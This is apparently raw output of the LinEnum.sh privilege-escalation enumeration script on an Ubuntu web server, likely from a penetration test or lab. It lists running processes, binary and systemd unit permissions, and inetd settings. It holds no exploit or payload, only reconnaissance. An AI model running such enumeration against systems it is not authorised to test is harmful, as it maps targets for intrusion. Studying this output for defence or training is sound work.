daemon  724 0.0 0.4 28332 2124 ?    Ss 18:31 0:00 /usr/sbin/atd -f
root    726 0.0 0.8 70588 4188 ?    Ss 18:31 0:00 /lib/systemd/systemd-logind
message+ 728 0.0 0.7 50140 3796 ?    Rs 18:31 0:00 /usr/bin/dbus-daemon --system --address=systemd: --
nofork --nopidfile --systemd-activa$
root    742 0.0 0.2 95540 1440 ?    Ssl 18:31 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root    744 0.0 0.2 31872 1104 ?    Ss 18:31 0:00 /usr/sbin/inetd
root    745 0.0 0.5 30028 2708 ?    Ss 18:31 0:00 /usr/sbin/cron -f
root    751 0.1 0.8 286236 4412 ?    Ssl 18:31 0:00 /usr/lib/accountsservice/accounts-daemon
syslog  765 0.0 0.6 267272 3400 ?    Ssl 18:31 0:00 /usr/sbin/rsyslogd -n
root    768 0.0 0.3 28676 1900 ?    Ss 18:31 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root    776 0.7 2.6 185908 12812 ?    Ssl 18:31 0:01 /usr/bin/python3 /usr/share/unattended-upgrades/-
unattended-upgrade-shutdown --wait-for$
root    777 0.0 0.4 14664 2012 ttyS0 Ss+ 18:31 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600
ttyS0 vt220
root    793 0.0 0.3 14888 1584 tty1 Ss+ 18:31 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root    811 0.0 0.8 72296 4168 ?    Ss 18:31 0:00 /usr/sbin/sshd -D
root    814 0.1 0.8 291464 4360 ?    Ssl 18:31 0:00 /usr/lib/policykit-1/polkitd --no-debug
root    825 0.4 2.2 625804 11052 ?    Ssl 18:31 0:01 /usr/lib/snapd/snapd
root    945 0.1 1.7 335320 8576 ?    Ss 18:31 0:00 /usr/sbin/apache2 -k start
mysql   954 1.3 33.5 1154568 164868 ?    Sl 18:31 0:03 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/-
mysqld.pid
www-data 955 0.0 1.1 339724 5808 ?    S  18:31 0:00 /usr/sbin/apache2 -k start
www-data 956 0.0 1.1 339724 5808 ?    S  18:31 0:00 /usr/sbin/apache2 -k start
www-data 957 0.0 1.1 339724 5808 ?    S  18:31 0:00 /usr/sbin/apache2 -k start
www-data 958 0.0 1.1 339724 5808 ?    S  18:31 0:00 /usr/sbin/apache2 -k start
www-data 961 0.0 1.1 339724 5808 ?    S  18:31 0:00 /usr/sbin/apache2 -k start
root    1050 0.1 1.0 105684 5348 ?    Ss 18:31 0:00 sshd: r00t [priv]
r00t    1102 0.1 0.9 76624 4560 ?    Ss 18:31 0:00 /lib/systemd/systemd --user
r00t    1104 0.0 0.4 259160 2372 ?    S  18:31 0:00 (sd-pam)
root    1165 0.0 0.1 4628 608 ?    Ss 18:31 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily update
root    1170 0.0 0.3 4628 1700 ?    S  18:31 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily lock_is_held update
root    1207 0.0 0.6 57500 3116 ?    S  18:32 0:00 /usr/sbin/CRON -f
www     1215 0.0 0.1 4628 604 ?    Ss 18:32 0:00 /bin/sh -c sh /home/www/api/start.sh
www     1216 0.0 0.1 4628 748 ?    S  18:32 0:00 sh /home/www/api/start.sh
www     1225 6.8 5.8 1164016 28612 ?    Sl 18:32 0:12 node index.js
r00t    1268 0.0 0.9 107984 4624 ?    S  18:32 0:00 sshd: r00t@pts/0
r00t    1274 0.6 0.9 21480 4700 pts/0 Ss 18:32 0:01 -bash
root    1430 61.4 16.5 177028 81160 ?    RN 18:33 0:44 /usr/bin/python3 /usr/bin/unattended-upgrade --download-
only
r00t    1517 1.0 0.8 12512 4048 pts/0 S+ 18:34 0:00 bash LinEnum.sh
r00t    1518 0.0 0.6 12512 2964 pts/0 S+ 18:34 0:00 bash LinEnum.sh
r00t    1519 0.0 0.1 6180 776 pts/0 S+ 18:34 0:00 tee -a
root    1595 1.3 0.6 57500 3304 ?    S  18:35 0:00 /usr/sbin/CRON -f
www     1602 0.0 0.1 4628 848 ?    Ss 18:35 0:00 /bin/sh -c sh /home/www/api/start.sh
www     1603 0.0 0.1 4628 808 ?    S  18:35 0:00 sh /home/www/api/start.sh
www     1606 38.2 4.3 719780 21464 ?    Rl 18:35 0:01 node index.js
r00t    1725 0.0 0.5 12512 2708 pts/0 S+ 18:35 0:00 bash LinEnum.sh
r00t    1726 0.0 0.7 38372 3684 pts/0 R+ 18:35 0:00 ps aux

```

[~] Process binaries and associated permissions (from above list):

```
0 lrwxrwxrwx 1 root root 4 Feb 14 2019 /bin/sh -> dash
```

```

1.6M -rwxr-xr-x 1 root root 1.6M Feb 28 2019 /lib/systemd/systemd
128K -rwxr-xr-x 1 root root 127K Feb 28 2019 /lib/systemd/systemd-journald
216K -rwxr-xr-x 1 root root 215K Feb 28 2019 /lib/systemd/systemd-logind
1.6M -rwxr-xr-x 1 root root 1.6M Feb 28 2019 /lib/systemd/systemd-networkd
372K -rwxr-xr-x 1 root root 371K Feb 28 2019 /lib/systemd/systemd-resolved
40K -rwxr-xr-x 1 root root 39K Feb 28 2019 /lib/systemd/systemd-timesyncd
572K -rwxr-xr-x 1 root root 571K Feb 28 2019 /lib/systemd/systemd-udev
56K -rwxr-xr-x 1 root root 56K Oct 15 2018 /sbin/agetty
0 lrwxrwxrwx 1 root root 20 Feb 28 2019 /sbin/init -> /lib/systemd/systemd
84K -rwxr-xr-x 1 root root 83K Apr 12 2018 /sbin/lvmtools
232K -rwxr-xr-x 1 root root 232K Nov 15 2017 /usr/bin/dbus-daemon
20K -rwxr-xr-x 1 root root 19K Nov 23 2018 /usr/bin/lxcfs
0 lrwxrwxrwx 1 root root 9 Oct 25 2018 /usr/bin/python3 -> python3.6
180K -rwxr-xr-x 1 root root 179K Dec 18 2017 /usr/lib/accountsservice/accounts-daemon
16K -rwxr-xr-x 1 root root 15K Jan 15 2019 /usr/lib/policykit-1/polkitd
17M -rwxr-xr-x 1 root root 17M Mar 15 2019 /usr/lib/snapd/snapd
656K -rwxr-xr-x 1 root root 656K Oct 10 2018 /usr/sbin/apache2
28K -rwxr-xr-x 1 root root 27K Feb 20 2018 /usr/sbin/atd
48K -rwxr-xr-x 1 root root 47K Nov 16 2017 /usr/sbin/cron
40K -rwxr-xr-x 1 root root 39K Nov 1 2017 /usr/sbin/inetd
24M -rwxr-xr-x 1 root root 24M Jan 21 2019 /usr/sbin/mysqld
668K -rwxr-xr-x 1 root root 665K Apr 24 2018 /usr/sbin/rsyslogd
772K -rwxr-xr-x 1 root root 769K Mar 4 2019 /usr/sbin/sshd
168K -rwxr-xr-x 1 root root 165K Feb 5 2018 /usr/sbin/vsftpd

```

[~] Contents of /etc/inetd.conf:

```

# /etc/inetd.conf: see inetd(8) for further informations.
#
# Internet superserver configuration database
#
#
# Lines starting with "#:LABEL:" or "#<off>#" should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it isn't touched during
# package updates just comment it out with a single '#' character.
#
# Packages should modify this file by using update-inetd(8)
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
#:INTERNAL: Internal services
#discard          stream tcp    nowait root    internal
#discard          dgram  udp      wait  root    internal
#daytime          stream tcp    nowait root    internal
#time            stream tcp    nowait root    internal

#:STANDARD: These are standard services.
#<off># ftp        stream tcp    nowait root    /usr/sbin/tcpd /usr/sbin/in.ftpd

#:BSD: Shell, login, exec and talk are BSD protocols.

#:MAIL: Mail, news and uucp services.

#:INFO: Info services

#:BOOT: TFTP service is provided primarily for booting. Most sites
#      run this only on machines acting as "boot servers."

#:RPC: RPC based services

#:HAM-RADIO: amateur-radio services

#:OTHER: Other services

```

[~] The related inetd binary permissions:

```

-rwxr-xr-x 1 root root 10240 Oct 29 2017 /usr/sbin/tcpd

```

[-] /etc/init.d/ binary permissions:

```
total 208
drwxr-xr-x  2 root root 4096 Mar 22  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rwxr-xr-x  1 root root 2269 Apr 22  2017 acpid
-rwxr-xr-x  1 root root 8181 Oct 10  2018 apache2
-rwxr-xr-x  1 root root 2489 Oct 10  2018 apache-htcacheclean
-rwxr-xr-x  1 root root 4335 Mar 22  2018 apparmor
-rwxr-xr-x  1 root root 2802 Nov 20  2017 apport
-rwxr-xr-x  1 root root 1071 Aug 21  2015 atd
-rwxr-xr-x  1 root root 1904 Nov 17  2015 cgroupfs-mount
-rwxr-xr-x  1 root root 1232 Apr 19  2018 console-setup.sh
-rwxr-xr-x  1 root root 3049 Nov 16  2017 cron
-rwxr-xr-x  1 root root  937 Mar 18  2018 cryptdisks
-rwxr-xr-x  1 root root  978 Mar 18  2018 cryptdisks-early
-rwxr-xr-x  1 root root 2813 Nov 15  2017 dbus
-rwxr-xr-x  1 root root 3507 Feb 13  2019 docker
-rwxr-xr-x  1 root root 4489 Jun 28  2018 ebttables
-rwxr-xr-x  1 root root  985 Feb  4  2019 grub-common
-rwxr-xr-x  1 root root 3809 Feb 14  2018 hwclock.sh
-rwxr-xr-x  1 root root 2444 Oct 25  2017 irqbalance
-rwxr-xr-x  1 root root 1503 Dec 12  2018 iscsid
-rwxr-xr-x  1 root root 1479 Feb 15  2018 keyboard-setup.sh
-rwxr-xr-x  1 root root 2044 Aug 15  2017 kmod
-rwxr-xr-x  1 root root  695 Dec  3  2017 lvm2
-rwxr-xr-x  1 root root  571 Dec  3  2017 lvm2-lvmetad
-rwxr-xr-x  1 root root  586 Dec  3  2017 lvm2-lvmpolld
-rwxr-xr-x  1 root root 2378 Nov 23  2018 lxcfs
-rwxr-xr-x  1 root root 2240 Nov 23  2018 lxd
-rwxr-xr-x  1 root root 2653 Jun 26  2018 mdadm
-rwxr-xr-x  1 root root 1249 Jun 26  2018 mdadm-waitidle
-rwxr-xr-x  1 root root 5607 Jan 12  2018 mysql
-rwxr-xr-x  1 root root 2444 Dec 26  2016 openbsd-inetd
-rwxr-xr-x  1 root root 2503 Dec 12  2018 open-iscsi
-rwxr-xr-x  1 root root 1846 Sep 10  2018 open-vm-tools
-rwxr-xr-x  1 root root 1366 Jan 17  2018 plymouth
-rwxr-xr-x  1 root root  752 Jan 17  2018 plymouth-log
-rwxr-xr-x  1 root root 1191 Jan 17  2018 procps
-rwxr-xr-x  1 root root 4355 Dec 13  2017 rsync
-rwxr-xr-x  1 root root 2864 Jan 14  2018 rsyslog
-rwxr-xr-x  1 root root 1222 May 21  2017 screen-cleanup
-rwxr-xr-x  1 root root 3837 Jan 25  2018 ssh
-rwxr-xr-x  1 root root 1227 Oct 28  2016 ubuntu-fan
-rwxr-xr-x  1 root root 5974 Apr 20  2018 udev
-rwxr-xr-x  1 root root 2083 Aug 15  2017 ufw
-rwxr-xr-x  1 root root 1391 Dec 13  2018 unattended-upgrades
-rwxr-xr-x  1 root root 1306 Oct 15  2018 uuid
-rwxr-xr-x  1 root root 2069 Aug 29  2016 vsftpd
```

[-] /etc/init/ config file permissions:

```
total 20
drwxr-xr-x  2 root root 4096 Mar 22  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rw-r--r--  1 root root 1529 Feb 13  2019 docker.conf
-rw-r--r--  1 root root 1757 Jan 12  2018 mysql.conf
-rw-r--r--  1 root root  239 Oct 28  2016 ubuntu-fan.conf
```

[-] /lib/systemd/* config file permissions:

```
/lib/systemd/:
total 7.3M
drwxr-xr-x 23 root root 36K Mar 22  2019 system
drwxr-xr-x  2 root root 4.0K Mar 22  2019 system-generators
drwxr-xr-x  2 root root 4.0K Mar 19  2019 system-sleep
drwxr-xr-x  2 root root 4.0K Mar 19  2019 network
drwxr-xr-x  2 root root 4.0K Mar 19  2019 system-preset
-rw-r--r--  1 root root 2.3M Feb 28  2019 libsystemd-shared-237.so
-rw-r--r--  1 root root  699 Feb 28  2019 resolv.conf
-rwxr-xr-x  1 root root 1.3K Feb 28  2019 set-cpufreq
-rwxr-xr-x  1 root root 1.6M Feb 28  2019 systemd
```

```

-rwxr-xr-x 1 root root 6.0K Feb 28 2019 systemd-ac-power
-rwxr-xr-x 1 root root 18K Feb 28 2019 systemd-backlight
-rwxr-xr-x 1 root root 11K Feb 28 2019 systemd-binfmt
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-cgroups-agent
-rwxr-xr-x 1 root root 22K Feb 28 2019 systemd-cryptsetup
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-dissect
-rwxr-xr-x 1 root root 18K Feb 28 2019 systemd-fsck
-rwxr-xr-x 1 root root 23K Feb 28 2019 systemd-fsckd
-rwxr-xr-x 1 root root 19K Feb 28 2019 systemd-growfs
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-hibernate-resume
-rwxr-xr-x 1 root root 23K Feb 28 2019 systemd-hostnamed
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-initctl
-rwxr-xr-x 1 root root 127K Feb 28 2019 systemd-journal
-rwxr-xr-x 1 root root 35K Feb 28 2019 systemd-localed
-rwxr-xr-x 1 root root 215K Feb 28 2019 systemd-logind
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-makefs
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-modules-load
-rwxr-xr-x 1 root root 1.6M Feb 28 2019 systemd-networkd
-rwxr-xr-x 1 root root 19K Feb 28 2019 systemd-networkd-wait-online
-rwxr-xr-x 1 root root 11K Feb 28 2019 systemd-quotacheck
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-random-seed
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-remount-fs
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-reply-password
-rwxr-xr-x 1 root root 371K Feb 28 2019 systemd-resolved
-rwxr-xr-x 1 root root 19K Feb 28 2019 systemd-rfkill
-rwxr-xr-x 1 root root 43K Feb 28 2019 systemd-shutdown
-rwxr-xr-x 1 root root 19K Feb 28 2019 systemd-sleep
-rwxr-xr-x 1 root root 23K Feb 28 2019 systemd-socket-proxyd
-rwxr-xr-x 1 root root 11K Feb 28 2019 systemd-sulogin-shell
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-sysctl
-rwxr-xr-x 1 root root 1.3K Feb 28 2019 systemd-sysv-install
-rwxr-xr-x 1 root root 27K Feb 28 2019 systemd-timedated
-rwxr-xr-x 1 root root 39K Feb 28 2019 systemd-timesyncd
-rwxr-xr-x 1 root root 571K Feb 28 2019 systemd-udev
-rwxr-xr-x 1 root root 15K Feb 28 2019 systemd-update-utmp
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-user-sessions
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-veritysetup
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-volatile-root
drwxr-xr-x 2 root root 4.0K Feb 14 2019 system-shutdown

```

/lib/systemd/system:

```

total 1.1M
drwxr-xr-x 2 root root 4.0K Mar 19 2019 apache2.service.d
drwxr-xr-x 2 root root 4.0K Mar 19 2019 sockets.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 sysinit.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 getty.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 graphical.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 local-fs.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 multi-user.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 rescue.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 timers.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19 2019 rc-local.service.d
drwxr-xr-x 2 root root 4.0K Mar 19 2019 user@.service.d
-rw-r--r-- 1 root root 340 Mar 15 2019 snapd.autoimport.service
-rw-r--r-- 1 root root 320 Mar 15 2019 snapd.core-fixup.service
-rw-r--r-- 1 root root 172 Mar 15 2019 snapd.failure.service
-rw-r--r-- 1 root root 322 Mar 15 2019 snapd.seeded.service
-rw-r--r-- 1 root root 477 Mar 15 2019 snapd.service
-rw-r--r-- 1 root root 372 Mar 15 2019 snapd.snap-repair.service
-rw-r--r-- 1 root root 281 Mar 15 2019 snapd.snap-repair.timer
-rw-r--r-- 1 root root 281 Mar 15 2019 snapd.socket
-rw-r--r-- 1 root root 521 Mar 15 2019 snapd.system-shutdown.service
lrwxrwxrwx 1 root root 14 Feb 28 2019 autovt@.service -> getty@.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 bootlogs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 bootmisc.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 checkfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 checkroot-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 checkroot.service -> /dev/null
-rw-r--r-- 1 root root 1.1K Feb 28 2019 console-getty.service
-rw-r--r-- 1 root root 1.3K Feb 28 2019 container-getty@.service

```



```

lrwxrwxrwx 1 root root 9 Feb 28 2019 cryptdisks-early.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 cryptdisks.service -> /dev/null
lrwxrwxrwx 1 root root 13 Feb 28 2019 ctrl-alt-del.target -> reboot.target
lrwxrwxrwx 1 root root 25 Feb 28 2019 dbus-org.freedesktop.hostname1.service -> systemd-hostnamed.service
lrwxrwxrwx 1 root root 23 Feb 28 2019 dbus-org.freedesktop.locale1.service -> systemd-localed.service
lrwxrwxrwx 1 root root 22 Feb 28 2019 dbus-org.freedesktop.login1.service -> systemd-logind.service
lrwxrwxrwx 1 root root 25 Feb 28 2019 dbus-org.freedesktop.timedate1.service -> systemd-timedated.service
-rw-r--r-- 1 root root 1.1K Feb 28 2019 debug-shell.service
lrwxrwxrwx 1 root root 16 Feb 28 2019 default.target -> graphical.target
-rw-r--r-- 1 root root 797 Feb 28 2019 emergency.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 fuse.service -> /dev/null
-rw-r--r-- 1 root root 2.0K Feb 28 2019 getty@.service
-rw-r--r-- 1 root root 342 Feb 28 2019 getty-static.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 halt.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 hostname.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 hwclock.service -> /dev/null
-rw-r--r-- 1 root root 670 Feb 28 2019 initrd-cleanup.service
-rw-r--r-- 1 root root 830 Feb 28 2019 initrd-parse-etc.service
-rw-r--r-- 1 root root 589 Feb 28 2019 initrd-switch-root.service
-rw-r--r-- 1 root root 704 Feb 28 2019 initrd-udevadm-cleanup-db.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 killprocs.service -> /dev/null
lrwxrwxrwx 1 root root 28 Feb 28 2019 kmod.service -> systemd-modules-load.service
-rw-r--r-- 1 root root 717 Feb 28 2019 kmod-static-nodes.service
lrwxrwxrwx 1 root root 28 Feb 28 2019 module-init-tools.service -> systemd-modules-load.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 motd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountall-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountall.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountdevsubfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountkernfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountnfs-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 mountnfs.service -> /dev/null
-rw-r--r-- 1 root root 362 Feb 28 2019 ondemand.service
lrwxrwxrwx 1 root root 22 Feb 28 2019 procs.service -> systemd-sysctl.service
-rw-r--r-- 1 root root 609 Feb 28 2019 quotaon.service
-rw-r--r-- 1 root root 716 Feb 28 2019 rc-local.service
lrwxrwxrwx 1 root root 16 Feb 28 2019 rc.local.service -> rc-local.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 rc.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 rcS.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 reboot.service -> /dev/null
-rw-r--r-- 1 root root 788 Feb 28 2019 rescue.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 rmnologin.service -> /dev/null
lrwxrwxrwx 1 root root 15 Feb 28 2019 runlevel0.target -> poweroff.target
lrwxrwxrwx 1 root root 13 Feb 28 2019 runlevel1.target -> rescue.target
lrwxrwxrwx 1 root root 17 Feb 28 2019 runlevel2.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Feb 28 2019 runlevel3.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Feb 28 2019 runlevel4.target -> multi-user.target
lrwxrwxrwx 1 root root 16 Feb 28 2019 runlevel5.target -> graphical.target
lrwxrwxrwx 1 root root 13 Feb 28 2019 runlevel6.target -> reboot.target
lrwxrwxrwx 1 root root 9 Feb 28 2019 sendsigs.service -> /dev/null
-rw-r--r-- 1 root root 1.5K Feb 28 2019 serial-getty@.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 single.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 stop-bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 stop-bootlogd-single.service -> /dev/null
-rw-r--r-- 1 root root 554 Feb 28 2019 suspend-then-hibernate.target
-rw-r--r-- 1 root root 724 Feb 28 2019 systemd-ask-password-console.service
-rw-r--r-- 1 root root 752 Feb 28 2019 systemd-ask-password-wall.service
-rw-r--r-- 1 root root 752 Feb 28 2019 systemd-backlight@.service
-rw-r--r-- 1 root root 999 Feb 28 2019 systemd-binfmt.service
-rw-r--r-- 1 root root 537 Feb 28 2019 systemd-exit.service
-rw-r--r-- 1 root root 551 Feb 28 2019 systemd-fsckd.service
-rw-r--r-- 1 root root 540 Feb 28 2019 systemd-fsckd.socket
-rw-r--r-- 1 root root 714 Feb 28 2019 systemd-fsck-root.service
-rw-r--r-- 1 root root 715 Feb 28 2019 systemd-fsck@.service
-rw-r--r-- 1 root root 584 Feb 28 2019 systemd-halt.service
-rw-r--r-- 1 root root 671 Feb 28 2019 systemd-hibernate-resume@.service
-rw-r--r-- 1 root root 541 Feb 28 2019 systemd-hibernate.service
-rw-r--r-- 1 root root 1.1K Feb 28 2019 systemd-hostnamed.service
-rw-r--r-- 1 root root 818 Feb 28 2019 systemd-hwdb-update.service
-rw-r--r-- 1 root root 559 Feb 28 2019 systemd-hybrid-sleep.service
-rw-r--r-- 1 root root 551 Feb 28 2019 systemd-initctl.service
-rw-r--r-- 1 root root 686 Feb 28 2019 systemd-journald-audit.socket

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-rw-r--r-- 1 root root 1.6K Feb 28 2019 systemd-journald.service
-rw-r--r-- 1 root root 771 Feb 28 2019 systemd-journal-flush.service
-rw-r--r-- 1 root root 597 Feb 28 2019 systemd-kexec.service
-rw-r--r-- 1 root root 1.1K Feb 28 2019 systemd-locale.service
-rw-r--r-- 1 root root 1.5K Feb 28 2019 systemd-logind.service
-rw-r--r-- 1 root root 733 Feb 28 2019 systemd-machine-id-commit.service
-rw-r--r-- 1 root root 1007 Feb 28 2019 systemd-modules-load.service
-rw-r--r-- 1 root root 1.9K Feb 28 2019 systemd-networkd.service
-rw-r--r-- 1 root root 740 Feb 28 2019 systemd-networkd-wait-online.service
-rw-r--r-- 1 root root 593 Feb 28 2019 systemd-poweroff.service
-rw-r--r-- 1 root root 655 Feb 28 2019 systemd-quotacheck.service
-rw-r--r-- 1 root root 792 Feb 28 2019 systemd-random-seed.service
-rw-r--r-- 1 root root 588 Feb 28 2019 systemd-reboot.service
-rw-r--r-- 1 root root 833 Feb 28 2019 systemd-remount-fs.service
-rw-r--r-- 1 root root 1.7K Feb 28 2019 systemd-resolved.service
-rw-r--r-- 1 root root 724 Feb 28 2019 systemd-rfkill.service
-rw-r--r-- 1 root root 537 Feb 28 2019 systemd-suspend.service
-rw-r--r-- 1 root root 573 Feb 28 2019 systemd-suspend-then-hibernate.service
-rw-r--r-- 1 root root 693 Feb 28 2019 systemd-sysctl.service
-rw-r--r-- 1 root root 1.1K Feb 28 2019 systemd-timedated.service
-rw-r--r-- 1 root root 1.4K Feb 28 2019 systemd-timesyncd.service
-rw-r--r-- 1 root root 659 Feb 28 2019 systemd-tmpfiles-clean.service
-rw-r--r-- 1 root root 764 Feb 28 2019 systemd-tmpfiles-setup-dev.service
-rw-r--r-- 1 root root 744 Feb 28 2019 systemd-tmpfiles-setup.service
-rw-r--r-- 1 root root 985 Feb 28 2019 systemd-udev.service
-rw-r--r-- 1 root root 863 Feb 28 2019 systemd-udev-settle.service
-rw-r--r-- 1 root root 755 Feb 28 2019 systemd-udev-trigger.service
-rw-r--r-- 1 root root 797 Feb 28 2019 systemd-update-utmp-runlevel.service
-rw-r--r-- 1 root root 794 Feb 28 2019 systemd-update-utmp.service
-rw-r--r-- 1 root root 628 Feb 28 2019 systemd-user-sessions.service
-rw-r--r-- 1 root root 690 Feb 28 2019 systemd-volatile-root.service
-rw-r--r-- 1 root root 1.4K Feb 28 2019 system-update-cleanup.service
lrwxrwxrwx 1 root root 21 Feb 28 2019 udev.service -> systemd-udev.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 umountfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 umountnfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 28 2019 umountroot.service -> /dev/null
lrwxrwxrwx 1 root root 27 Feb 28 2019 urandom.service -> systemd-random-seed.service
-rw-r--r-- 1 root root 593 Feb 28 2019 user@.service
lrwxrwxrwx 1 root root 9 Feb 28 2019 x11-common.service -> /dev/null
-rw-r--r-- 1 root root 372 Feb 21 2019 unattended-upgrades.service
lrwxrwxrwx 1 root root 9 Feb 14 2019 screen-cleanup.service -> /dev/null
drwxr-xr-x 2 root root 4.0K Feb 14 2019 halt.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14 2019 initrd-switch-root.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14 2019 kexec.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14 2019 poweroff.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14 2019 reboot.target.wants
-rw-r--r-- 1 root root 1.6K Feb 13 2019 docker.service
-rw-r--r-- 1 root root 197 Feb 9 2019 docker.socket
-rw-r--r-- 1 root root 242 Feb 6 2019 apport-autoreport.service
-rw-r--r-- 1 root root 418 Jan 29 2019 cloud-config.service
-rw-r--r-- 1 root root 482 Jan 29 2019 cloud-final.service
-rw-r--r-- 1 root root 580 Jan 29 2019 cloud-init-local.service
-rw-r--r-- 1 root root 642 Jan 29 2019 cloud-init.service
-rw-r--r-- 1 root root 536 Jan 28 2019 cloud-config.target
-rw-r--r-- 1 root root 256 Jan 28 2019 cloud-init.target
-rw-r--r-- 1 root root 326 Jan 25 2019 apt-daily.service
-rw-r--r-- 1 root root 156 Jan 25 2019 apt-daily.timer
-rw-r--r-- 1 root root 238 Jan 25 2019 apt-daily-upgrade.service
-rw-r--r-- 1 root root 184 Jan 25 2019 apt-daily-upgrade.timer
-rw-r--r-- 1 root root 254 Jan 14 2019 thermald.service
-rw-r--r-- 1 root root 266 Jan 10 2019 netplan-wpa@.service
-rw-r--r-- 1 root root 368 Jan 9 2019 irqbalance.service
-rw-r--r-- 1 root root 494 Dec 12 2018 iscsid.service
-rw-r--r-- 1 root root 175 Dec 12 2018 iscsid.socket
-rw-r--r-- 1 root root 987 Dec 12 2018 open-iscsi.service
-rw-r--r-- 1 root root 605 Nov 23 2018 lxd.service
-rw-r--r-- 1 root root 320 Nov 23 2018 lxd-containers.service
-rw-r--r-- 1 root root 197 Nov 23 2018 lxd.socket
-rw-r--r-- 1 root root 311 Nov 23 2018 lxcfs.service
-rw-r--r-- 1 root root 92 Oct 15 2018 fstrim.service
-rw-r--r-- 1 root root 170 Oct 15 2018 fstrim.timer

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-rw-r--r-- 1 root root 189 Oct 15 2018 uidd.service
-rw-r--r-- 1 root root 126 Oct 15 2018 uidd.socket
-rw-r--r-- 1 root root 618 Oct 15 2018 friendly-recovery.service
-rw-r--r-- 1 root root 172 Oct 15 2018 friendly-recovery.target
-rw-r--r-- 1 root root 258 Oct 15 2018 networkd-dispatcher.service
-rw-r--r-- 1 root root 346 Oct 10 2018 apache2.service
-rw-r--r-- 1 root root 418 Oct 10 2018 apache2@.service
-rw-r--r-- 1 root root 528 Oct 10 2018 apache-htcacheclean.service
-rw-r--r-- 1 root root 537 Oct 10 2018 apache-htcacheclean@.service
-rw-r--r-- 1 root root 412 Sep 11 2018 plymouth-halt.service
-rw-r--r-- 1 root root 426 Sep 11 2018 plymouth-kexec.service
lrwxrwxrwx 1 root root 27 Sep 11 2018 plymouth-log.service -> plymouth-read-write.service
-rw-r--r-- 1 root root 421 Sep 11 2018 plymouth-poweroff.service
-rw-r--r-- 1 root root 194 Sep 11 2018 plymouth-quit.service
-rw-r--r-- 1 root root 200 Sep 11 2018 plymouth-quit-wait.service
-rw-r--r-- 1 root root 244 Sep 11 2018 plymouth-read-write.service
-rw-r--r-- 1 root root 416 Sep 11 2018 plymouth-reboot.service
lrwxrwxrwx 1 root root 21 Sep 11 2018 plymouth.service -> plymouth-quit.service
-rw-r--r-- 1 root root 532 Sep 11 2018 plymouth-start.service
-rw-r--r-- 1 root root 291 Sep 11 2018 plymouth-switch-root.service
-rw-r--r-- 1 root root 490 Sep 11 2018 systemd-ask-password-plymouth.path
-rw-r--r-- 1 root root 467 Sep 11 2018 systemd-ask-password-plymouth.service
-rw-r--r-- 1 root root 306 Sep 11 2018 open-vm-tools.service
